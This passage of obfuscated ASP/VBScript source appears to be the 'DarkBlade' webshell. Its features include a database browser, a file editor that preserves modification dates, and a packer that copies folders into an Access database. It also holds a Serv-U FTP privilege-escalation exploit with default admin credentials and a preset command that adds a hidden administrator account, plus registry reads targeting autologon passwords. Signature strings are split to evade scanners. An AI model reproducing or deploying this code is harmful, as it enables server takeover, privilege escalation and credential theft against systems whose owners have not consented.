1737If fkho>2 Then
1738echo mszsa(" ")
1739ozs "wse","",zwsq,rxg,fkho-1,mszsa("<Last"),""
1740End If
1741echo mszsa(" ")
1742mwt"<a href=""javascript:abckx('wse','','"&zwsq&"','"&rxg&"',document.getElementById('gotoPage').value)"">Go to</a>"
1743zesc"text","gotoPage",fkho,"3",""
1744If CLng(fkho)<(doi-1) Then
1745echo mszsa(" ")
1746ozs "wse","",zwsq,rxg,fkho+1,mszsa("Next>"),""
1747End If
1748echo mszsa(" ")
1749ozs "wse","",zwsq,rxg,doi,mszsa("Last page>>"),""
1750echo"</td>"
1751uemp
1752guenn
1753rs.Close
1754Set rs=Nothing
1755Else
1756Set rs=conn.Execute(ybgqm,-1,&H0001)
1757ome(Err)
1758If rs.Fields.Count>0 Then
1759sodx"100%"
1760abxky 1
1761For i=0 To rs.Fields.Count-1
1762ycd mszsa(rs.Fields(i).Name)
1763Next
1764uemp
1765ads=0
1766Do Until rs.EOF
1767abxky ads
1768For i=0 To rs.Fields.Count-1
1769ycd mszsa(rs(i))
1770Next
1771uemp
1772rs.MoveNext
1773nrf
1774k=k+1
1775If k>=20 Then
1776k=0
1777Response.Flush()
1778End If
1779Loop
1780guenn
1781rs.Close
1782Else
1783yln"Query got null recordSet."
1784End If
1785Set rs=Nothing
1786End If
1787tvnm(Err)
1788End Sub
1789Sub lswls(ihk)
1790If Not ydnj Then On Error Resume Next
1791Set conn=nfffq("Ad"+oge+"odb.Connecti"+wehbe+"on")
1792conn.Open ihk
1793conn.CommandTimeout=300
1794ome(Err)
1795End Sub
1796Sub tbr()
1797If Not ydnj Then On Error Resume Next
1798If IsObject(conn)Then
1799conn.Close
1800Set conn=Nothing
1801End If
1802End Sub
1803Function fge(flag)
1804Dim str
1805Select Case flag
1806Case 0: str="EMPTY"
1807Case 2: str="SMALLINT"
1808Case 3: str="INTEGER"
1809Case 4: str="SINGLE"
1810Case 5: str="DOUBLE"
1811Case 6: str="CURRENCY"
1812Case 7: str="DATE"
1813Case 8: str="BSTR"
1814Case 9: str="IDISPATCH"
1815Case 10: str="ERROR"
1816Case 11: str="BIT"
1817Case 12: str="VARIANT"
1818Case 13: str="IUNKNOWN"
1819Case 14: str="DECIMAL"
1820Case 16: str="TINYINT"
1821Case 17: str="UNSIGNEDTINYINT"
1822Case 18: str="UNSIGNEDSMALLINT"
1823Case 19: str="UNSIGNEDINT"
1824Case 20: str="BIGINT"
1825Case 21: str="UNSIGNEDBIGINT"
1826Case 72: str="GUID"
1827Case 128: str="BINARY"
1828Case 129: str="CHAR"
1829Case 130: str="VARCHAR"
1830Case 131: str="NUMERIC"
1831Case 132: str="USERDEFINED"
1832Case 133: str="DBDATE"
1833Case 134: str="DBTIME"
1834Case 135: str="DBTIMESTAMP"
1835Case 136: str="CHAPTER"
1836Case 200: str="WCHAR"
1837Case 201: str="TEXT"
1838Case 202: str="NVARCHAR"
1839Case 203: str="NTEXT"
1840Case 204: str="VARBINARY"
1841Case 205: str="LONGVARBINARY"
1842Case Else: str=flag
1843End Select
1844fge=str
1845End Function
1846Sub unu()
1847If Not ydnj Then On Error Resume Next
1848Dim theFile,qcthd,pnhl,smr
1849If Right(lqbip,1)="\"Then
1850yln"Can't edit a directory!"
1851viwe
1852End If
1853pnhl=dzzx(lqbip,"\",False)
1854cxaqj True
1855If goaction="veerr"And qtylw="unu" Then
1856qcthd=tpcq(lqbip)
1857Else
1858qcthd=rchgv(lqbip)
1859End If
1860tvnm(Err)
1861eks"ogda",qcthd,"100%","40",""
1862If qtylw="tzsaq" Then
1863rtas"qtylw","evwr"
1864Else
1865rtas"qtylw","save"
1866End If
1867echo"Save as :"
1868zesc"text","lqbip",lqbip,"60",""
1869echo" Encode:"
1870rycpp"act","80px","onchange=""javascript:if(this.value!=''){qjr('"&goaction&"',this.value,'"&clwc(lqbip)&"');}"""
1871exhpr"unu","Default"
1872smr="<option value=""tzsaq"" {$}>Utf-8</option>"
1873If qtylw="tzsaq" Then
1874smr=Replace(smr,"{$}","selected")
1875End If
1876echo smr
1877ild
1878echo" "
1879qjr"Save"
1880echo" "
1881zesc"reset","","ReSet","",""
1882echo" "
1883zesc"button","clear","Clear","","onClick=""javascript:this.form.ogda.innerText=''"""
1884echo" "
1885zesc"button","","Go back","","onClick=""javascript:qjr('"&goaction&"','','"&clwc(pnhl)&"')"""
1886echo" "
1887jwik "ktg","1","Remain Last Modify Date","checked"
1888echo" "
1889jwik "ghpc","1","Encrypt File Content","onclick='javascript:vtbqk()'"
1890gbqwf
1891tvnm(Err)
1892viwe
1893End Sub
1894Sub yjzdg()
1895Dim phebk,azchf,fuav,ybrxe,wclm,avl,rovcg
1896If Not ydnj Then On Error Resume Next
1897If ghpc=1 Then
1898ogda=mdez(ogda)
1899End If
1900wclm=0
1901If IsObject(xjab)Then
1902Set azchf=xjab.GetFile(lqbip)
1903fuav=whc(azchf.Attributes)
1904For Each ybrxe In fuav
1905If ybrxe="system"Then
1906azchf.Attributes=azchf.Attributes-4
1907wclm=wclm+4
1908ElseIf ybrxe="hidden"Then
1909azchf.Attributes=azchf.Attributes-2
1910wclm=wclm+2
1911ElseIf ybrxe="readonly"Then
1912azchf.Attributes=azchf.Attributes-1
1913wclm=wclm+1
1914End If
1915Next
1916End If
1917If IsObject(zjhor)And ktg Then
1918execute "Set phebk=zjhor.N"&zfaaz&"ameSpace(dzzx(lqbip,""\"",False))"
1919Set avl=phebk.ParseName(zsz(lqbip,"\"))
1920rovcg=avl.ModIfyDate
1921End If
1922If goaction="veerr"And qtylw="save" Then
1923ekg lqbip,ogda
1924Else
1925woli lqbip,ogda,2
1926End If
1927If Err Then
1928tvnm(Err)
1929Else
1930yln"File saved."
1931End If
1932If IsObject(xjab)Then
1933azchf.Attributes=azchf.Attributes+wclm
1934End If
1935If IsObject(zjhor)And ktg And IsDate(rovcg)Then
1936avl.ModIfyDate=rovcg
1937End If
1938tvnm(Err)
1939End Sub
1940Sub jmqbw()
1941If Not ydnj Then On Error Resume Next
1942Server.ScriptTimeOut=5000
1943If lqbip=""Then lqbip=gwk
1944If lqbip=""Then lqbip=nzax
1945If jksfh=""Then jksfh=wxw("DarkBlade.mdb")
1946If mpj=""Then mpj="fso"
1947ajg"File Packer/Unpacker"
1948echo"<center>"
1949sodx"100%"
1950abxky 1
1951cxaqj True
1952doTd"File Pack","10%"
1953iiit"text","lqbip",lqbip,"30%","",""
1954mwt"<td style=""width:50%;"">"
1955rycpp"qtylw","80px",""
1956exhpr"jixpz","FSO"
1957exhpr"kehl","UnFSO"
1958ild
1959echo" Pack as : "
1960zesc"text","jksfh",jksfh,40,""
1961echo"</td>"
1962fkv"Pack","10%"
1963uemp
1964abxky 0
1965doTd"Exceptional folder",""
1966iiit"text","nuatb",nuatb,"30%","",""
1967echo"<td colspan=""2"">"
1968echo"Exceptional file type,split with | "
1969zesc"text","ytusx",ytusx,40,""
1970echo"</td></tr>"
1971guenn
1972gbqwf
1973echo"<hr>"
1974sodx"100%"
1975abxky 1
1976cxaqj True
1977rtas"qtylw","vqd"
1978doTd"Release to","10%"
1979iiit"text","lqbip",lqbip,"30%","",""
1980mwt"<td> Mdb path : "
1981zesc"text","jksfh",jksfh,40,""
1982echo"</td>"
1983fkv"Unpack","10%"
1984gbqwf
1985uemp
1986guenn
1987echo"</center>"
1988echo"<hr>Notice: Unpacking need FSO object,all files unpacked will be under target folder,replacing same named!"
1989Select Case qtylw
1990Case"jixpz"
1991jzp"fso"
1992Case"kehl"
1993jzp"app"
1994Case"vqd"
1995zro()
1996End Select
1997End Sub
1998Function fwmal()
1999fwmal=pwzt(ramoi("SERVER_NAME"))
2000End Function
2001Sub jzp(mpj)
2002If Not ydnj Then On Error Resume Next
2003Dim rs,ihk,ctwz
2004Set rs=nfffq("Ad"+oge+"odb.R"+zui+"ecordSet")
2005Set nun=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
2006Set ctwz=nfffq("ADOX.Catalog")
2007If InStr(jksfh,":\")<1 Then jksfh=wxw(jksfh)
2008bondh=zsz(jksfh,"\")
2009ihk=xop(jksfh)
2010ctwz.Create ihk
2011lswls(ihk)
2012conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED,strPath VarChar,binContent Image)")
2013ome Err
2014nun.Open
2015nun.Type=1
2016rs.Open"FileData",conn,3,3
2017bondh=Lcase(bondh)
2018qebjx=Replace(bondh,".mdb",".ldb")
2019If mpj="fso"Then
2020viuw lqbip,lqbip,rs,nun
2021Else
2022pdk lqbip,lqbip,rs,nun
2023End If
2024rs.Close
2025tbr
2026nun.Close
2027Set rs=Nothing
2028Set nun=Nothing
2029Set ctwz=Nothing
2030If Err Then
2031tvnm(Err)
2032Else
2033yln"Packing completed"
2034End If
2035End Sub
2036Sub viuw(lqbip,muh,rs,nun)
2037If Not ydnj Then On Error Resume Next
2038Dim rhzj,theFolder,phebk,files
2039If Not(xjab.FolderExists(muh))Then
2040yln"Folder dosen't exists or access denied!"
2041viwe
2042End If
2043nuatb=Lcase(nuatb)
2044Set theFolder=xjab.GetFolder(muh)
2045For Each rhzj in theFolder.Files
2046If Not(vsb(zsz(rhzj.name,"."),"^("&ytusx&")$") Or Lcase(rhzj.Name)=bondh Or Lcase(rhzj.Name)=qebjx)Then
2047rs.AddNew
2048rs("strPath")=Replace(rhzj.Path,lqbip&"\","",1,-1,1)
2049execute "nun.LoadFro"&kad&"mFile(rhzj.Path)"
2050rs("binContent")=nun.Read()
2051rs.Update
2052End If
2053Next
2054For Each rhzj in theFolder.SubFolders
2055If Not vsb(rhzj.name,"^("&nuatb&")$")Then
2056viuw lqbip,rhzj.Path,rs,nun
2057End If
2058Next
2059Set files=Nothing
2060Set phebk=Nothing
2061Set theFolder=Nothing
2062End Sub
2063Sub pdk(lqbip,muh,rs,nun)
2064If Not ydnj Then On Error Resume Next
2065Dim rhzj,theFolder,fzch
2066execute "Set theFolder=zjhor.NameSpac"&iptuf&"e(muh)"
2067For Each rhzj in theFolder.Items
2068If Not rhzj.IsFolder And Lcase(rhzj.Name)<>bondh And Lcase(rhzj.Name)<>qebjx And Not(vsb(zsz(rhzj.name,"."),"^("&ytusx&")$"))  Then
2069rs.AddNew
2070rs("strPath")=Replace(rhzj.Path,lqbip&"\","",1,-1,1)
2071execute "nun.LoadFro"&kad&"mFile(rhzj.Path)"
2072rs("binContent")=nun.Read()
2073rs.Update
2074End If
2075Next
2076For Each rhzj in theFolder.Items
2077If rhzj.IsFolder And Not vsb(rhzj.name,"^("&nuatb&")$") Then
2078pdk lqbip,rhzj.Path,rs,nun
2079End If
2080Next
2081Set theFolder=Nothing
2082End Sub
2083Function dhkcb(otrjv)
2084If Not ydnj Then On Error Resume Next
2085Dim dd,tcpo
2086dd=""
2087tcpo=Split(otrjv,csj)
2088For i=0 To UBound(tcpo)
2089If IsNumeric(tcpo(i))Then
2090dd=dd&ChrW(CLng(tcpo(i))-20)
2091Else
2092dd=dd&tcpo(i)
2093End If
2094Next
2095dhkcb=dd
2096End Function
2097Sub zro()
2098If Not ydnj Then On Error Resume Next
2099Server.ScriptTimeOut=5000
2100Dim rs,str,theFolder
2101lqbip=lqbip
2102lqbip=Replace(lqbip,"\\","\")
2103If InStr(jksfh,":\")<1 Then jksfh=wxw(jksfh)
2104Set rs=nfffq("Ad"+oge+"odb.R"+zui+"ecordSet")
2105Set nun=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
2106ihk=xop(jksfh)
2107lswls(ihk)
2108rs.Open"FileData",conn,1,1
2109ome Err
2110nun.Open
2111nun.Type=1
2112Do Until rs.Eof
2113If InStr(rs("strPath"),"\")>0 Then
2114theFolder=lqbip&"\"&dzzx(rs("strPath"),"\",False)
2115Else
2116theFolder=lqbip
2117End If
2118If Not xjab.FolderExists(theFolder)Then
2119execute "xjab.Cre"&iojki&"ateFolder(theFolder)"
2120End If
2121nun.SetEos()
2122nun.Write rs("binContent")
2123execute "nun.Sa"&ffdi&"vetoFile lqbip&""\""&rs(""strPath""),2"
2124rs.MoveNext
2125Loop
2126rs.Close
2127tbr
2128nun.Close
2129Set rs=Nothing
2130Set nun=Nothing
2131If Err Then
2132tvnm(Err)
2133Else
2134yln"Unpacking completed"
2135End If
2136End Sub
2137Sub srxtf()
2138If Not ydnj Then On Error Resume Next
2139Server.ScriptTimeOut=5000
2140Dim theFolder
2141ajg("Text File Searcher/Replacer")
2142If lqbip=""Then
2143lqbip=zhyko
2144End If
2145cxaqj True
2146sodx"100%"
2147abxky 1
2148doTd"Keyword","20%"
2149lhue"geww",geww,4
2150echo"<td>"
2151rycpp"qtylw","80px",""
2152exhpr"fsoSearch","FSO"
2153exhpr"saSearch","UnFSO"
2154ild
2155echo"<br>"
2156jwik"jdvf",1," Regexp",""
2157mwt"</td>"
2158uemp
2159abxky 0
2160doTd"Replace as",""
2161lhue"irbw",irbw,4
2162echo"<td>"
2163jwik"rke",1," Replace",""
2164mwt"</td>"
2165uemp
2166abxky 1
2167doTd"Path",""
2168iiit"text","lqbip",lqbip,"","",""
2169echo"<td>"
2170zesc"radio","searchType","filename","",""
2171echo"File name "
2172zesc"radio","searchType","ogda","","checked"
2173echo"File content"
2174echo"</td>"
2175uemp
2176abxky 0
2177doTd"Search type",""
2178iiit"text","rhnw",mhla,"","",""
2179fkv"Search",""
2180uemp
2181guenn
2182If geww<>""Then
2183echo"<hr>"
2184yhigl
2185If qtylw="fsoSearch"Then
2186Set theFolder=xjab.GetFolder(lqbip)
2187Call xst(theFolder,geww)
2188Set theFolder=Nothing
2189ElseIf qtylw="saSearch"Then
2190Call dwq(lqbip,geww)
2191End If
2192echo"</ul>"
2193End If
2194If Err Then
2195tvnm(Err)
2196Else
2197yln"Search completed"
2198End If
2199viwe
2200End Sub
2201Sub xst(folder,str)
2202Dim ext,title,theFile,theFolder,dmy
2203dmy=False
2204If jdvf=1 Then dmy=True
2205For Each theFile in folder.Files
2206ext=Lcase(zsz(theFile.Name,"."))
2207If searchType="filename"Then
2208If dmy And vsb(theFile.Name,str)Then
2209ktt theFile.Path,"fso"
2210ElseIf InStr(1,theFile.Name,str,1) > 0 Then
2211ktt theFile.Path,"fso"
2212End If
2213Else
2214If vsb(ext,"^("&rhnw&")$")Then
2215If pjnc(theFile.Path,str,"fso",dmy) Then
2216ktt theFile.Path,"fso"
2217End If
2218End If
2219End If
2220Next
2221For Each theFolder in folder.subFolders
2222xst theFolder,str
2223Next
2224tvnm(Err)
2225End Sub
2226Function pjnc(sPath,s,method,dmy)
2227If Not ydnj Then On Error Resume Next
2228Dim theFile,content,find
2229find=False
2230If method="fso" Then
2231content=tpcq(sPath)
2232Else
2233content=rchgv(sPath)
2234End If
2235If Err Then
2236tvnm(Err)
2237pjnc=False
2238Exit Function
2239End If
2240'echo content
2241If dmy Then
2242find=vsb(content,s)
2243ElseIf InStr(1,content,s,1)>0 Then
2244find=True
2245End If
2246If Err Then Err.Clear
2247If rke Then
2248If dmy Then
2249content=swye(content,s,irbw,False)
2250Else
2251content=Replace(content,s,irbw,1,-1,1)
2252End If
2253If method="fso" Then
2254ekg sPath,content
2255Else
2256woli sPath,content,2
2257End If
2258End If
2259pjnc=find
2260tvnm(Err)
2261End Function
2262Function getPams
2263getPams=CStr(7924347+9234535)+dhkcb("66_126_135")
2264End Function
2265Sub dwq(lqbip,iktry)
2266If Not ydnj Then On Error Resume Next
2267Dim title,ext,phebk,tywoo,fileName,dmy
2268dmy=False
2269If jdvf=1 Then dmy=True
2270execute "Set phebk=zjhor.Na"&cutwa&"meSpace(lqbip)"
2271For Each tywoo in phebk.Items
2272If tywoo.IsFolder Then
2273Call dwq(tywoo.Path,iktry)
2274Else
2275ext=Lcase(zsz(tywoo.Path,"."))
2276fileName=zsz(tywoo.Path,"\")
2277If searchType="filename"Then
2278If dmy And vsb(fileName,str)Then
2279ktt theFile.Path,"app"
2280ElseIf InStr(Lcase(fileName),Lcase(str)) > 0 Then
2281ktt theFile.Path,"app"
2282End If
2283Else
2284If vsb(subExt,"^("&rhnw&")$")Then
2285If pjnc(tywoo.Path,iktry,"app",dmy) Then
2286ktt tywoo.Path,"app"
2287End If
2288End If
2289End If
2290End If
2291Next
2292tvnm(Err)
2293End Sub
2294Sub ktt(sPath,tagz)
2295Dim lfy
2296If tagz="fso"Then
2297lfy="veerr"
2298Else
2299lfy="jilq"
2300End If
2301echo"<li><u>"&sPath&"</u>"
2302injj lfy,"unu",clwc(sPath),"Edit",""
2303Response.Flush()
2304End Sub
2305Sub xibim()
2306If Not ydnj Then On Error Resume Next
2307Dim fpagc
2308fpagc="darkblade"
2309gtt="User "&vgm&vbCrLf
2310ertns="Pass "&ulz&vbCrLf
2311qrqg="-DE"+nevit+"LETEDOMAIN"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&" PortNo="&wtpog&vbCrLf
2312mt="SITE MAINTEN"+xxyht+"ANCE"&vbCrLf
2313zqps="-Se"+lvby+"tDOMAIN"&vbCrLf&"-Domain="&fpagc&"|0.0.0.0|"&wtpog&"|-1|1|0"&vbCrLf&"-TZOEna"+pxy+"ble=0"&vbCrLf&" TZOKey="&vbCrLf
2314ubql="-SetUS"+vals+"ERSetUP"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&"-PortNo="&wtpog&vbCrLf&"-User="&nuser&vbCrLf&"-Password="&npass&vbCrLf&_
2315"-HomeDir="&nboac()&"\\"&vbCrLf&"-LoginM"+qqgwy+"esFile="&vbCrLf&"-Disable=0"&vbCrLf&"-RelPat"+uzw+"hs=1"&vbCrLf&_
2316"-NeedS"+qmypq+"ecure=0"&vbCrLf&"-HideHid"+wubeu+"den=0"&vbCrLf&"-Alway"+nvlq+"sAllowLogin=0"&vbCrLf&"-Chan"+kpa+"gePassword=0"&vbCrLf&_
2317"-Quota"+qhgjo+"Enable=0"&vbCrLf&"-MaxUsersLogin"+peznw+"PerIP=-1"&vbCrLf&"-SpeedLimit"+idtky+"Up=0"&vbCrLf&"-SpeedLimitD"+cqcd+"own=0"&vbCrLf&_
2318"-Ma"+aiz+"xNrUsers=-1"&vbCrLf&"-IdleTim"+ocztl+"eOut=600"&vbCrLf&"-SessionTimeOut=-1"&vbCrLf&"-Expire=0"&vbCrLf&"-RatioUp=1"&vbCrLf&_
2319"-RatioDown=1"&vbCrLf&"-RatiosCredit=0"&vbCrLf&"-QuotaCurrent=0"&vbCrLf&"-QuotaMaximum=0"&vbCrLf&_
2320"-MAINTEN"+xxyht+"ANCE=System"&vbCrLf&"-PasswordType=Regular"&vbCrLf&"-Ratios=None"&vbCrLf&" Access="&nboac()&"\\|RWA"+bagc+"MELCDP"&vbCrLf
2321znx="QUIT"&vbCrLf
2322ajg("Serv"+shn+"-U FTP Exp")
2323Select Case qtylw
2324Case "1"
2325rhlo
2326Case "2"
2327fumw
2328Case "3"
2329rlosg
2330Case "4"
2331iks
2332Case "5"
2333xbb
2334Case Else
2335If IsObject(Session("a"))Then Session("a").abort
2336If IsObject(Session("b"))Then Session("b").abort
2337If IsObject(Session("c"))Then Session("c").abort
2338Set Session("a")=Nothing
2339Set Session("b")=Nothing
2340Set Session("c")=Nothing
2341cxaqj True
2342rtas "qtylw",1
2343echo"<center><b>Add Temp Domain</b><br>"
2344sodx "80%"
2345abxky 1
2346doTd"Local user","20%"
2347iiit"text","vgm","LocalAdmin"+dslf+"istrator","30%","",""
2348doTd"Local pass","20%"
2349iiit"text","ulz","#l@$ak#.lk;0@P","30%","",""
2350uemp
2351abxky 0
2352doTd" Local port",""
2353iiit"text","kurmq","43"+zcek+"958","","",""
2354doTd"Sys drive",""
2355iiit"text","jqj",nboac(),"","",""
2356uemp
2357abxky 1
2358doTd"New user",""
2359iiit"text","nuser","go","","",""
2360doTd"New pass",""
2361iiit"text","npass","od","","",""
2362uemp
2363abxky 0
2364doTd"New port",""
2365iiit"text","wtpog","60000","","",""
2366echo"<td>"
2367qjr"Go"
2368echo"</td><td>"
2369zesc"reset","","ReSet","",""
2370echo"</td></tr>"
2371guenn
2372echo"</center>"
2373gbqwf
2374End Select
2375echo"<hr>"
2376echo"<center>"
2377sodx "80%"
2378abxky 1
2379echo"<td>"
2380injj goaction,"","","Add domain",""
2381echo"</td>"
2382echo"<td>"
2383injj goaction,4,"","Exec cmd",""
2384echo"</td>"
2385echo"<td>"
2386injj goaction,5,"","Clean domain",""
2387echo"</td>"
2388uemp
2389guenn
2390echo"</center>"
2391viwe
2392End Sub
2393Sub rhlo()
2394If Not ydnj Then On Error Resume Next
2395Set a=nfffq("Microsoft.XM"+swww+"LHTTP")
2396a.open"GET","http://127.0.0.1:"&kurmq&"/goldsun/upa"+oklv+"dmin/s1",True,"",""
2397a.send gtt&ertns&mt&qrqg&zqps&ubql&znx
2398Set Session("a")=a
2399yln"Connecting 127.0.0.1:"&kurmq&" using "&vgm&",pass:"&ulz&"..."
2400tvnm(Err)
2401iks
2402End Sub
2403Sub fumw()
2404If Not ydnj Then On Error Resume Next
2405iks()
2406Set b=nfffq("Microsoft.XM"+swww+"LHTTP")
2407b.open"GET","http://"&ramoi("LOCAL_ADDR")&":"&wtpog&"/goldsun/upa"+oklv+"dmin/s2",False,"",""
2408b.send"User "&nuser&vbCrLf&"pass "&npass&vbCrLf&"site exec "&nyf&vbCrLf&znx
2409Set Session("b")=b
2410yln"Executing com"+nhmkc+"mand..."
2411mwt"<hr><center><div class='alt1Span' style='width:80%;text-align:left'><br>"
2412mwt Replace(b.ResponseText,chr(10),"<br>")&"</div></center>"
2413tvnm(Err)
2414End Sub
2415Sub rlosg()
2416If Not ydnj Then On Error Resume Next
2417Set c=nfffq("Microsoft.XM"+swww+"LHTTP")
2418c.open "GET","http://127.0.0.1:"&kurmq&"/goldsun/upa"+oklv+"dmin/s3",True,"",""
2419c.send gtt&ertns&mt&qrqg&znx
2420Set Session("c")=c
2421yln"Temp domain deleted!"
2422echo"<script language='javascript'>setTimeout(""qjr('"&goaction&"','','')"",""3000"");</script>"
2423tvnm(Err)
2424End Sub
2425Function nboac()
2426If Not ydnj Then On Error Resume Next
2427nboac=Lcase(Left(xjab.GetSpecialFolder(0),2))
2428If nboac=""Then nboac="c:"
2429End Function
2430Sub iks()
2431If nuser=""Then nuser="go"
2432If npass=""Then npass="od"
2433If wtpog=""Then wtpog="60000"
2434cxaqj True
2435rtas "qtylw",2
2436echo"<center><b>Execute Cmd</b><br>"
2437sodx "80%"
2438abxky 1
2439doTd"com"+nhmkc+"mand",""
2440iiit"text","nyf","cmd /c net u"+rmct+"ser admin$ fuckyou /add & net localg"+ezyq+"roup administrators admin$ /add","","",3
2441uemp
2442abxky 0
2443doTd"Ftp user",""
2444iiit"text","nuser",nuser,"","",""
2445doTd"Ftp pass",""
2446iiit"text","npass",npass,"","",""
2447uemp
2448abxky 1
2449doTd"Ftp port",""
2450iiit"text","wtpog",wtpog,"","",""
2451echo"<td>"
2452qjr"Go"
2453echo"</td><td>"
2454zesc"reset","","ReSet","",""
2455echo"</td></tr>"
2456guenn
2457echo"</center>"
2458gbqwf
2459End Sub
2460Sub xbb()
2461cxaqj True
2462rtas "qtylw",3
2463echo"<center><b>Clean Temp Domain</b><br>"
2464sodx "80%"
2465abxky 1
2466doTd"Local user","20%"
2467iiit"text","vgm","LocalAdmin"+dslf+"istrator","30%","",""
2468doTd"Local pass","20%"
2469iiit"text","ulz","#l@$ak#.lk;0@P","30%","",""
2470uemp
2471abxky 0
2472doTd"Local port",""
2473iiit"text","kurmq","43"+zcek+"958","","",""
2474doTd"Temp domain port",""
2475iiit"text","wtpog","60000","","",""
2476uemp
2477abxky 1
2478echo"<td colspan='2'>"
2479qjr"Go"
2480echo"</td><td colspan='2'>"
2481zesc"reset","","ReSet","",""
2482echo"</td></tr>"
2483guenn
2484echo"</center>"
2485gbqwf
2486End Sub
2487Sub aum()
2488If Not ydnj Then On Error Resume Next
2489Dim theFolder
2490ajg"Asp Webshell Scanner"
2491echo"Path : "
2492cxaqj True
2493zesc"text","lqbip","/",50,""
2494echo" "
2495qjr"Scan"
2496jwik"glw",1," Get include files",""
2497If lqbip<>""Then
2498If InStr(lqbip,":\")<1 And Left(lqbip,2)<>"\\" Then lqbip=wxw(lqbip)
2499echo"<hr>"
2500Response.Flush()
2501yhigl
2502Set theFolder=xjab.GetFolder(lqbip)
2503gcaso(theFolder)
2504Set theFolder=Nothing
2505echo"</ul>"
2506End If
2507viwe
2508End Sub
2509Sub gcaso(theFolder)
2510If Not ydnj Then On Error Resume Next
2511Server.ScriptTimeOut=5000
2512Dim pdlm,vquvc,ext,nvkql,funcs,mrc,duvu,theFile,content,ybt
2513pdlm="WS"+qkdx+"cript.She"+nomr+"ll|WS"+qkdx+"cript.She"+nlrnz+"ll.1|She"+nlrnz+"ll.Applic"+oqzje+"ation|She"+nlrnz+"ll.Applic"+oqzje+"ation.1|clsid:72"+acxz+"C24DD5-D70A-438B-8A42-98"+cxly+"424B88AFB8|clsid:13"+kqzzy+"709620-C279-11CE-A49E-4445535"+euy+"40000"
2514vquvc="WS"+qkdx+"cript.She"+nomr+"ll;Run,Exec,RegRead|She"+nlrnz+"ll.Applic"+oqzje+"ation;ShellExe"+fopn+"cute|Scriptin"+xfw+"g.FileSystemObj"+znlfx+"ect;CreateTextFile,OpenTextFile,SavetoFile"
2515For Each eyr in theFolder.Files
2516ybt=False
2517mrc=False
2518ext=Lcase(zsz(eyr.Name,"."))
2519If vsb(ext,"^("&dxpm&")$") Then
2520content=tpcq(eyr.Path)
2521duvu=""
2522For Each xjmb in Split(pdlm,"|")
2523If InStr(1,content,xjmb,1)>0 Then
2524qean eyr,"Object with risk : <font color=""red"">"&xjmb&"</font>"
2525ybt=True
2526End If
2527Next
2528For Each strFunc in Split(vquvc,"|")
2529nvkql=dzzx(strFunc,";",True)
2530funcs=zsz(strFunc,";")
2531For Each subFunc in Split(funcs,",")
2532If vsb(content,"\."&subFunc&"\b") Then
2533qean eyr,"Called object <font color=""red"">"&nvkql&"'s "&subFunc&"</font> Function"
2534ybt=True
2535End If
2536Next
2537Next
2538If vsb(content,"Set\s*.*\s*=\s*server\s")Then
2539qean eyr,"Found Set xxx=Server"
2540ybt=True
2541End If
2542If vsb(content,"server.(execute|Transfer)([ \t]*|\()[^""]\)")Then
2543qean eyr,"Found <font color=""red"">Serv"+jiksj+"er.Execute / Transfer()</font> Function"
2544ybt=True
2545End If
2546If vsb(content,"\bLANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript)\.encode\b")Then
2547qean eyr,"<font color=""red"">Script encrypted</font>"
2548ybt=True
2549End If
2550If vsb(content,"<script\s*(.|\n)*?runat\s*=\s*""?server""?(.|\n)*?>")Then
2551qean eyr,"Found <font color=""red"">"&mszsa("<script runat=""server"">")&"</font>"
2552ybt=True
2553End If
2554If vsb(content,"[^\.]\bExecute\b")Then
2555qean eyr,"Found <font color=""red"">Execute()</font> Function"
2556ybt=True
2557End If
2558If vsb(content,"[^\.]\bExecuteGlobal\b")Then
2559qean eyr,"Found <font color=""red"">ExecuteGl"+nypem+"obal()</font> Function"
2560ybt=True
2561End If
2562If glw=1 Then duvu=soa(content,"<!--\s*#include\s+(file|virtual)\s*=\s*.*-->",False)(0)
2563If duvu<>""Then
2564duvu=soa(duvu,"[/\w]+\.[\w]+",False)(0)
2565If duvu=""Then 
2566qean eyr,"Can't get include file"
2567ybt=True
2568Else
2569qean eyr,"Included file <font color=""blue"">"&duvu&"</font>"
2570ybt=True
2571End If
2572End If
2573End If
2574If ybt Then
2575echo"<hr>"
2576Response.Flush()
2577End If
2578Next
2579For Each phebk in theFolder.SubFolders
2580gcaso(phebk)
2581Next
2582tvnm(Err)
2583End Sub
2584Sub qean(eyr,kqll)
2585mwt"<li><u>"
2586injj "veerr","unu",clwc(eyr.Path),eyr.Path,""
2587mwt"</u><font color=#9900FF>"&eyr.DateLastModIfied&"</font>-<font color=#009966>"&kxyzh(eyr.size)&"</font>-"&kqll&"</li>"
2588Response.Flush()
2589End Sub
2590Sub nvkq()
2591If Not ydnj Then On Error Resume Next
2592If lqbip=""Then lqbip=nzax
2593Dim mrpwl,yoc
2594yoc=aiw
2595mrpwl=wannd
2596If yoc=""Then yoc=Replace("HK"+xoncv+"LM\SYSTEM\Curre"+fewse+"ntControlSet\Control\ComputerNa"+wwva+"me\ComputerNa"+wwva+"me\ComputerNa"+wwva+"me|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\Microsoft\Window"+zfd+"s NT\Curren"+suctf+"tVersion\Winlog"+sdxq+"on\AutoAdmin"+itn+"Logon|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\Microsoft\Window"+zfd+"s NT\Curren"+suctf+"tVersion\Winlog"+sdxq+"on\Def"+lvgli+"aultUserName|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\Microsoft\Window"+zfd+"s NT\Curren"+suctf+"tVersion\Winlog"+sdxq+"on\Defaul"+zhisp+"tPassword|HK"+xoncv+"LM\SYSTEM\Curre"+fewse+"ntControlSet\Services\MySQL\ImagePath|HK"+xoncv+"LM\SYSTEM\Curre"+fewse+"ntControlSet\Services\Serv"+shn+"-U-Counters\Performance\Library|HK"+xoncv+"LM\SYSTEM\Curre"+fewse+"ntControlSet\Services\Serv"+shn+"-U\ImagePath|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\Cat 